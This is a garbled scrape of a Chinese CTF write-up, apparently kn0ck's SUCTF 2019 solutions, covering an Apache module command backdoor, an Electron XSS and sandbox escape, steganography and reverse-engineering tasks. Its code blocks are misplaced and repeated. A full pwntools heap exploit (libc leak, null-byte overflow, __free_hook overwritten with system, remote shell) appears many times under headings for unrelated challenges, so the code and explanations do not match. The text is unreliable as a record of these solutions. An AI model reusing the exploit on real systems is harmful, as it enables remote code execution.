for ( i = 0; i <= 6; ++i )   buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!" 

4

继续读源码

for ( i = 0; i <= 6; ++i )   buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!" 

5

看到读出了MySQL的账号密码

for ( i = 0; i <= 6; ++i )   buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!" 

6

还有一个phpinfo页面

for ( i = 0; i <= 6; ++i )   buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!" 

7

在页面上没有发现常规漏洞,但是发现了一个与题目名称类似的扩展模块

所以尝试进行下载 /usr/lib/apache2/modules/mod_cocktail.so

先用file命令看了一下,发现是64位程序,所以使用IDA Pro直接来进行分析

kn0ck suctf19 writeup - 安全客,安全资讯平台

直接定位到关键函数,可以看到其中使用了popen函数来执行经过j_remix函数处理的reffer变量,所以基本可以判定此处是存在一个命令执行的后门。

kn0ck suctf19 writeup - 安全客,安全资讯平台

j_remix函数是调用了remix函数,看起来比较复杂,但应该是某种编码方式

kn0ck suctf19 writeup - 安全客,安全资讯平台

此处使用IDA的findcrypt插件,直接发现了base64表,所以猜测是base64编码

kn0ck suctf19 writeup - 安全客,安全资讯平台

那么接下来可以测一下这个后门,可以看到成功回显

kn0ck suctf19 writeup - 安全客,安全资讯平台

可以看到没有权限写webshell

kn0ck suctf19 writeup - 安全客,安全资讯平台

所以可能稍微麻烦一点,我们得用之前得到的mysql账号密码来查看数据库的内容

for ( i = 0; i <= 6; ++i )   buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!" 

8

kn0ck suctf19 writeup - 安全客,安全资讯平台

for ( i = 0; i <= 6; ++i )   buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!" 

9

kn0ck suctf19 writeup - 安全客,安全资讯平台

buf = '!' final_buf = "Qf(>qwd!" for _ in range(7):     cur = ord(buf[0])     i = 6 - _     for pre in range(256):         if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):             buf = chr(pre) + buf             continue  print buf # e4SyD1C! 

0

kn0ck suctf19 writeup - 安全客,安全资讯平台

0x07 Game

题目描述

How fast can you play?

http://47.111.59.243:1081

题目解答

直接查看源代码得到flag(假的,emmmm

view-source:http://47.111.59.243:1081/

buf = '!' final_buf = "Qf(>qwd!" for _ in range(7):     cur = ord(buf[0])     i = 6 - _     for pre in range(256):         if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):             buf = chr(pre) + buf             continue  print buf # e4SyD1C! 

1

base32后得到flag

buf = '!' final_buf = "Qf(>qwd!" for _ in range(7):     cur = ord(buf[0])     i = 6 - _     for pre in range(256):         if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):             buf = chr(pre) + buf             continue  print buf # e4SyD1C! 

2

既然是个游戏就有可能是改的开源代码,所以抱这这种想法就去找了源码,就找到了

http://www.jq22.com/jquery-info21216

然后从里面diff出不同点

kn0ck suctf19 writeup - 安全客,安全资讯平台

buf = '!' final_buf = "Qf(>qwd!" for _ in range(7):     cur = ord(buf[0])     i = 6 - _     for pre in range(256):         if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):             buf = chr(pre) + buf             continue  print buf # e4SyD1C! 

3

之后下载图片

buf = '!' final_buf = "Qf(>qwd!" for _ in range(7):     cur = ord(buf[0])     i = 6 - _     for pre in range(256):         if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):             buf = chr(pre) + buf             continue  print buf # e4SyD1C! 

4

分析之后发现是lsb隐写

kn0ck suctf19 writeup - 安全客,安全资讯平台

buf = '!' final_buf = "Qf(>qwd!" for _ in range(7):     cur = ord(buf[0])     i = 6 - _     for pre in range(256):         if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):             buf = chr(pre) + buf             continue  print buf # e4SyD1C! 

5

使用3des解密即可得到flag

kn0ck suctf19 writeup - 安全客,安全资讯平台

0x08 iCloudMusic-WriteUp

首先下载附件,可以看出是一个nodejs写的App,采用了electron框架。其实就是将网页封装为了一个App。所以还是一道web题。尝试对其逆向解包。

mac环境

首先进入该App包目录。可以在以下目录发现一个app.asar文件,该文件为App核心代码。逆向其即可。在这里采用官方的解包就可以。

buf = '!' final_buf = "Qf(>qwd!" for _ in range(7):     cur = ord(buf[0])     i = 6 - _     for pre in range(256):         if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):             buf = chr(pre) + buf             continue  print buf # e4SyD1C! 

6

按以上步骤,即可以源码形式跑起来这个应用。

跑起来,大概看一下逻辑,发现存在一个向管理员反馈的接口。此时80%确定是一个xss题目了。然后再分析源码。可以发现250多行这里,有一个代码执行。其中是直接拼接了一些内容。然后使用view的executeJavaScript方法进行代码执行。

kn0ck suctf19 writeup - 安全客,安全资讯平台

继续分析,可以管理员反馈接口处参数如下:

buf = '!' final_buf = "Qf(>qwd!" for _ in range(7):     cur = ord(buf[0])     i = 6 - _     for pre in range(256):         if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):             buf = chr(pre) + buf             continue  print buf # e4SyD1C! 

7

根据以上内容, 大胆猜测,小心求证。尝试对header进行注入(可以本地先尝试js_to_run代码注入后是否可以运行,然后再打远程)。

开启本地调试环境,加入调试代码。然后再运行。

buf = '!' final_buf = "Qf(>qwd!" for _ in range(7):     cur = ord(buf[0])     i = 6 - _     for pre in range(256):         if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):             buf = chr(pre) + buf             continue  print buf # e4SyD1C! 

8

最终music的poc

buf = '!' final_buf = "Qf(>qwd!" for _ in range(7):     cur = ord(buf[0])     i = 6 - _     for pre in range(256):         if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):             buf = chr(pre) + buf             continue  print buf # e4SyD1C! 

9

此时xss成功get,但是尝试读了很多东西,发现没啥用。询问出题人才知道,这题要getshell。

electron有一个危害,就是可以直接调用系统api,所以可以直接getshell。但是尝试无果。最终发现,原来是view搞的鬼。正如之前所说,是调用view的方法,执行js。

分析可以发现,这个view是一个webview窗口,相当于是一个沙盒。默认是没有办法调用系统api的。

此时需要想办法来做一个沙盒逃逸。根据hint:contextisolation,以及文章,可以了解到。

由于contextisolation关闭,可以导致webview沙盒内与pr.js内变量在同一作用域,可以覆盖pr.js的变量。而且pr.js是不在沙盒运行限制内。所以,只要想办法覆盖掉pr.js的函数调用逻辑,即可绕过webview沙盒。

可以在main.js中,插入以下代码,开启webview沙盒的开发者工具。

#https://github.com/matrix1001/welpwn from PwnContext import *  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     #context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './pwn'     ctx.remote = ('47.111.59.243', 10001)     #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/'     ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'     ctx.debug_remote_libc = True       def perchase(name_len, name, price):         sla('>>>', 1)         sla('length', name_len)         sa('Name', name)         sla('Price', price)      def comment(idx, comment, score):         sla('>>>', 2)         sla('Index', idx)         sa('Comment', comment)         sla('score', score)      def throw(idx):         sla('>>>', 3)         sla('index', idx)      def rename(idx, new_name, some_fuck):         sla('>>>', 4)         sla('index', idx)         sleep(0.1)         s(new_name)         sa('power', 'yn')         sla('serial', 'e4SyD1C!')         sa('Pwner', some_fuck)      ctx.breakpoints = [0x12f2, 0x1328, 0x118f]     rs('remote')     # rs()     libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')     # dbg('c')      perchase(0x10, 'testn', 0) #0     comment(0, 'testcommentn', 0)     perchase(0x10, 'testn', 0) #1     throw(0)      perchase(0x10, 'testn', 0) #0     comment(0, 'a', 0)     throw(0)      ru('Comment ')     libc_leak = uu32(r(4)) & 0xffffff00      success('libc_leak = {:#x}'.format(libc_leak))     libc_base = libc_leak - 0x1b0700      # clean up     throw(1)      #     perchase(0x8c, 'an', 0) #0     perchase(0x80, 'an', 0) #1     perchase(0x40, 'an', 0) #2     perchase(0xf8, 'an', 0) #3     perchase(0x20, 'topn', 0) #4      throw(2)     # null overflow     perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2     throw(0)     # overlap     throw(3)      perchase(0x10, 'an', 0) #0     perchase(0x50, 'an', 0)      perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)       throw(0)     perchase(0x100, '/bin/shn', 0)     libc.address = libc_base     free_hook = libc.sym['__free_hook']     system = libc.sym['system']     rename(1, p32(0)*5 + p32(free_hook), p32(system))     irt() 

0

比赛时,审request源码,动态跟逻辑,尝试了半天。最终还是太菜了。fuzz也尝试了。但是奈何自己考虑不周。

最后看了wp,才发现自己还是经验不足,学到了很多。

自己的payload:

#https://github.com/matrix1001/welpwn from PwnContext import *  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     #context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './pwn'     ctx.remote = ('47.111.59.243', 10001)     #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/'     ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'     ctx.debug_remote_libc = True       def perchase(name_len, name, price):         sla('>>>', 1)         sla('length', name_len)         sa('Name', name)         sla('Price', price)      def comment(idx, comment, score):         sla('>>>', 2)         sla('Index', idx)         sa('Comment', comment)         sla('score', score)      def throw(idx):         sla('>>>', 3)         sla('index', idx)      def rename(idx, new_name, some_fuck):         sla('>>>', 4)         sla('index', idx)         sleep(0.1)         s(new_name)         sa('power', 'yn')         sla('serial', 'e4SyD1C!')         sa('Pwner', some_fuck)      ctx.breakpoints = [0x12f2, 0x1328, 0x118f]     rs('remote')     # rs()     libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')     # dbg('c')      perchase(0x10, 'testn', 0) #0     comment(0, 'testcommentn', 0)     perchase(0x10, 'testn', 0) #1     throw(0)      perchase(0x10, 'testn', 0) #0     comment(0, 'a', 0)     throw(0)      ru('Comment ')     libc_leak = uu32(r(4)) & 0xffffff00      success('libc_leak = {:#x}'.format(libc_leak))     libc_base = libc_leak - 0x1b0700      # clean up     throw(1)      #     perchase(0x8c, 'an', 0) #0     perchase(0x80, 'an', 0) #1     perchase(0x40, 'an', 0) #2     perchase(0xf8, 'an', 0) #3     perchase(0x20, 'topn', 0) #4      throw(2)     # null overflow     perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2     throw(0)     # overlap     throw(3)      perchase(0x10, 'an', 0) #0     perchase(0x50, 'an', 0)      perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)       throw(0)     perchase(0x100, '/bin/shn', 0)     libc.address = libc_base     free_hook = libc.sym['__free_hook']     system = libc.sym['system']     rename(1, p32(0)*5 + p32(free_hook), p32(system))     irt() 

1

虽然仅仅是差了一步保存状态,但是自己确实一直以来从未考虑过这个问题,认为只有实战中才要考虑 ,CTF就是瞎鸡儿日就ok了。看似一步之差,差的缺很多很多。尤其是看完wp。

比如:一定要不破坏环境,考虑周全。一定要不破坏环境,考虑周全。一定要不破坏环境,考虑周全。

最终沙盒逃逸代码如下:

#https://github.com/matrix1001/welpwn from PwnContext import *  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     #context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './pwn'     ctx.remote = ('47.111.59.243', 10001)     #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/'     ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'     ctx.debug_remote_libc = True       def perchase(name_len, name, price):         sla('>>>', 1)         sla('length', name_len)         sa('Name', name)         sla('Price', price)      def comment(idx, comment, score):         sla('>>>', 2)         sla('Index', idx)         sa('Comment', comment)         sla('score', score)      def throw(idx):         sla('>>>', 3)         sla('index', idx)      def rename(idx, new_name, some_fuck):         sla('>>>', 4)         sla('index', idx)         sleep(0.1)         s(new_name)         sa('power', 'yn')         sla('serial', 'e4SyD1C!')         sa('Pwner', some_fuck)      ctx.breakpoints = [0x12f2, 0x1328, 0x118f]     rs('remote')     # rs()     libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')     # dbg('c')      perchase(0x10, 'testn', 0) #0     comment(0, 'testcommentn', 0)     perchase(0x10, 'testn', 0) #1     throw(0)      perchase(0x10, 'testn', 0) #0     comment(0, 'a', 0)     throw(0)      ru('Comment ')     libc_leak = uu32(r(4)) & 0xffffff00      success('libc_leak = {:#x}'.format(libc_leak))     libc_base = libc_leak - 0x1b0700      # clean up     throw(1)      #     perchase(0x8c, 'an', 0) #0     perchase(0x80, 'an', 0) #1     perchase(0x40, 'an', 0) #2     perchase(0xf8, 'an', 0) #3     perchase(0x20, 'topn', 0) #4      throw(2)     # null overflow     perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2     throw(0)     # overlap     throw(3)      perchase(0x10, 'an', 0) #0     perchase(0x50, 'an', 0)      perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)       throw(0)     perchase(0x100, '/bin/shn', 0)     libc.address = libc_base     free_hook = libc.sym['__free_hook']     system = libc.sym['system']     rename(1, p32(0)*5 + p32(free_hook), p32(system))     irt() 

2

 

参考资料

 

re

hardCpp

程序核心的加密与验证部分如下图所示,需要注意关于时间的反调试与干扰变量

kn0ck suctf19 writeup - 安全客,安全资讯平台

观察输出信息:func(?)=”01abfc750a0c942167651c40d088531d”?”。

md5解密后为字符‘#’,说明第一个字符必须是‘#’,然后爆破即可,脚本如下。

#https://github.com/matrix1001/welpwn from PwnContext import *  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     #context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './pwn'     ctx.remote = ('47.111.59.243', 10001)     #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/'     ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'     ctx.debug_remote_libc = True       def perchase(name_len, name, price):         sla('>>>', 1)         sla('length', name_len)         sa('Name', name)         sla('Price', price)      def comment(idx, comment, score):         sla('>>>', 2)         sla('Index', idx)         sa('Comment', comment)         sla('score', score)      def throw(idx):         sla('>>>', 3)         sla('index', idx)      def rename(idx, new_name, some_fuck):         sla('>>>', 4)         sla('index', idx)         sleep(0.1)         s(new_name)         sa('power', 'yn')         sla('serial', 'e4SyD1C!')         sa('Pwner', some_fuck)      ctx.breakpoints = [0x12f2, 0x1328, 0x118f]     rs('remote')     # rs()     libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')     # dbg('c')      perchase(0x10, 'testn', 0) #0     comment(0, 'testcommentn', 0)     perchase(0x10, 'testn', 0) #1     throw(0)      perchase(0x10, 'testn', 0) #0     comment(0, 'a', 0)     throw(0)      ru('Comment ')     libc_leak = uu32(r(4)) & 0xffffff00      success('libc_leak = {:#x}'.format(libc_leak))     libc_base = libc_leak - 0x1b0700      # clean up     throw(1)      #     perchase(0x8c, 'an', 0) #0     perchase(0x80, 'an', 0) #1     perchase(0x40, 'an', 0) #2     perchase(0xf8, 'an', 0) #3     perchase(0x20, 'topn', 0) #4      throw(2)     # null overflow     perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2     throw(0)     # overlap     throw(3)      perchase(0x10, 'an', 0) #0     perchase(0x50, 'an', 0)      perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)       throw(0)     perchase(0x100, '/bin/shn', 0)     libc.address = libc_base     free_hook = libc.sym['__free_hook']     system = libc.sym['system']     rename(1, p32(0)*5 + p32(free_hook), p32(system))     irt() 

3

Akira HomeWork

首先程序有几处IsDebuggerPresent()的反调试需要注意,而且程序的输入函数是有bug的,运行就会崩溃。所以要绕过该call,手动在内存中输入数据。

第一关:

简单的字符串异或变换

#https://github.com/matrix1001/welpwn from PwnContext import *  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     #context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './pwn'     ctx.remote = ('47.111.59.243', 10001)     #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/'     ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'     ctx.debug_remote_libc = True       def perchase(name_len, name, price):         sla('>>>', 1)         sla('length', name_len)         sa('Name', name)         sla('Price', price)      def comment(idx, comment, score):         sla('>>>', 2)         sla('Index', idx)         sa('Comment', comment)         sla('score', score)      def throw(idx):         sla('>>>', 3)         sla('index', idx)      def rename(idx, new_name, some_fuck):         sla('>>>', 4)         sla('index', idx)         sleep(0.1)         s(new_name)         sa('power', 'yn')         sla('serial', 'e4SyD1C!')         sa('Pwner', some_fuck)      ctx.breakpoints = [0x12f2, 0x1328, 0x118f]     rs('remote')     # rs()     libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')     # dbg('c')      perchase(0x10, 'testn', 0) #0     comment(0, 'testcommentn', 0)     perchase(0x10, 'testn', 0) #1     throw(0)      perchase(0x10, 'testn', 0) #0     comment(0, 'a', 0)     throw(0)      ru('Comment ')     libc_leak = uu32(r(4)) & 0xffffff00      success('libc_leak = {:#x}'.format(libc_leak))     libc_base = libc_leak - 0x1b0700      # clean up     throw(1)      #     perchase(0x8c, 'an', 0) #0     perchase(0x80, 'an', 0) #1     perchase(0x40, 'an', 0) #2     perchase(0xf8, 'an', 0) #3     perchase(0x20, 'topn', 0) #4      throw(2)     # null overflow     perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2     throw(0)     # overlap     throw(3)      perchase(0x10, 'an', 0) #0     perchase(0x50, 'an', 0)      perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)       throw(0)     perchase(0x100, '/bin/shn', 0)     libc.address = libc_base     free_hook = libc.sym['__free_hook']     system = libc.sym['system']     rename(1, p32(0)*5 + p32(free_hook), p32(system))     irt() 

4

第二关:

会读取一个文件,这里同样绕过call,手动在内存输入数据。最终加密后会与

#https://github.com/matrix1001/welpwn from PwnContext import *  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     #context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './pwn'     ctx.remote = ('47.111.59.243', 10001)     #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/'     ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'     ctx.debug_remote_libc = True       def perchase(name_len, name, price):         sla('>>>', 1)         sla('length', name_len)         sa('Name', name)         sla('Price', price)      def comment(idx, comment, score):         sla('>>>', 2)         sla('Index', idx)         sa('Comment', comment)         sla('score', score)      def throw(idx):         sla('>>>', 3)         sla('index', idx)      def rename(idx, new_name, some_fuck):         sla('>>>', 4)         sla('index', idx)         sleep(0.1)         s(new_name)         sa('power', 'yn')         sla('serial', 'e4SyD1C!')         sa('Pwner', some_fuck)      ctx.breakpoints = [0x12f2, 0x1328, 0x118f]     rs('remote')     # rs()     libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')     # dbg('c')      perchase(0x10, 'testn', 0) #0     comment(0, 'testcommentn', 0)     perchase(0x10, 'testn', 0) #1     throw(0)      perchase(0x10, 'testn', 0) #0     comment(0, 'a', 0)     throw(0)      ru('Comment ')     libc_leak = uu32(r(4)) & 0xffffff00      success('libc_leak = {:#x}'.format(libc_leak))     libc_base = libc_leak - 0x1b0700      # clean up     throw(1)      #     perchase(0x8c, 'an', 0) #0     perchase(0x80, 'an', 0) #1     perchase(0x40, 'an', 0) #2     perchase(0xf8, 'an', 0) #3     perchase(0x20, 'topn', 0) #4      throw(2)     # null overflow     perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2     throw(0)     # overlap     throw(3)      perchase(0x10, 'an', 0) #0     perchase(0x50, 'an', 0)      perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)       throw(0)     perchase(0x100, '/bin/shn', 0)     libc.address = libc_base     free_hook = libc.sym['__free_hook']     system = libc.sym['system']     rename(1, p32(0)*5 + p32(free_hook), p32(system))     irt() 

5

比较,其实就是md5加密,对应明文为“Overwatch”。

第三关:

程序会对内存中的某段数据进行三次解密运算操作

kn0ck suctf19 writeup - 安全客,安全资讯平台

三处解密代码运行在不同时机,作用于同一个内存数据。必须前两关输入的内容正确才能正常触发,其中第二处解密代码不会被执行,导致最终dump出的数据未被完全还原。

kn0ck suctf19 writeup - 安全客,安全资讯平台

并且异或的值也未知,但看出这段数据像PE文件,不难写出解密代码

#https://github.com/matrix1001/welpwn from PwnContext import *  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     #context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './pwn'     ctx.remote = ('47.111.59.243', 10001)     #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/'     ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'     ctx.debug_remote_libc = True       def perchase(name_len, name, price):         sla('>>>', 1)         sla('length', name_len)         sa('Name', name)         sla('Price', price)      def comment(idx, comment, score):         sla('>>>', 2)         sla('Index', idx)         sa('Comment', comment)         sla('score', score)      def throw(idx):         sla('>>>', 3)         sla('index', idx)      def rename(idx, new_name, some_fuck):         sla('>>>', 4)         sla('index', idx)         sleep(0.1)         s(new_name)         sa('power', 'yn')         sla('serial', 'e4SyD1C!')         sa('Pwner', some_fuck)      ctx.breakpoints = [0x12f2, 0x1328, 0x118f]     rs('remote')     # rs()     libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')     # dbg('c')      perchase(0x10, 'testn', 0) #0     comment(0, 'testcommentn', 0)     perchase(0x10, 'testn', 0) #1     throw(0)      perchase(0x10, 'testn', 0) #0     comment(0, 'a', 0)     throw(0)      ru('Comment ')     libc_leak = uu32(r(4)) & 0xffffff00      success('libc_leak = {:#x}'.format(libc_leak))     libc_base = libc_leak - 0x1b0700      # clean up     throw(1)      #     perchase(0x8c, 'an', 0) #0     perchase(0x80, 'an', 0) #1     perchase(0x40, 'an', 0) #2     perchase(0xf8, 'an', 0) #3     perchase(0x20, 'topn', 0) #4      throw(2)     # null overflow     perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2     throw(0)     # overlap     throw(3)      perchase(0x10, 'an', 0) #0     perchase(0x50, 'an', 0)      perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)       throw(0)     perchase(0x100, '/bin/shn', 0)     libc.address = libc_base     free_hook = libc.sym['__free_hook']     system = libc.sym['system']     rename(1, p32(0)*5 + p32(free_hook), p32(system))     irt() 

6

此时得到的数据便是一个DLL文件

kn0ck suctf19 writeup - 安全客,安全资讯平台

该dll会读取共享内存,并进行AES解密运算,密钥为“Ak1i3aS3cre7K3y”。

而共享数据则在原来的exe中

kn0ck suctf19 writeup - 安全客,安全资讯平台

所以AES密文为

#https://github.com/matrix1001/welpwn from PwnContext import *  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     #context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './pwn'     ctx.remote = ('47.111.59.243', 10001)     #ctx.custom_lib_dir = 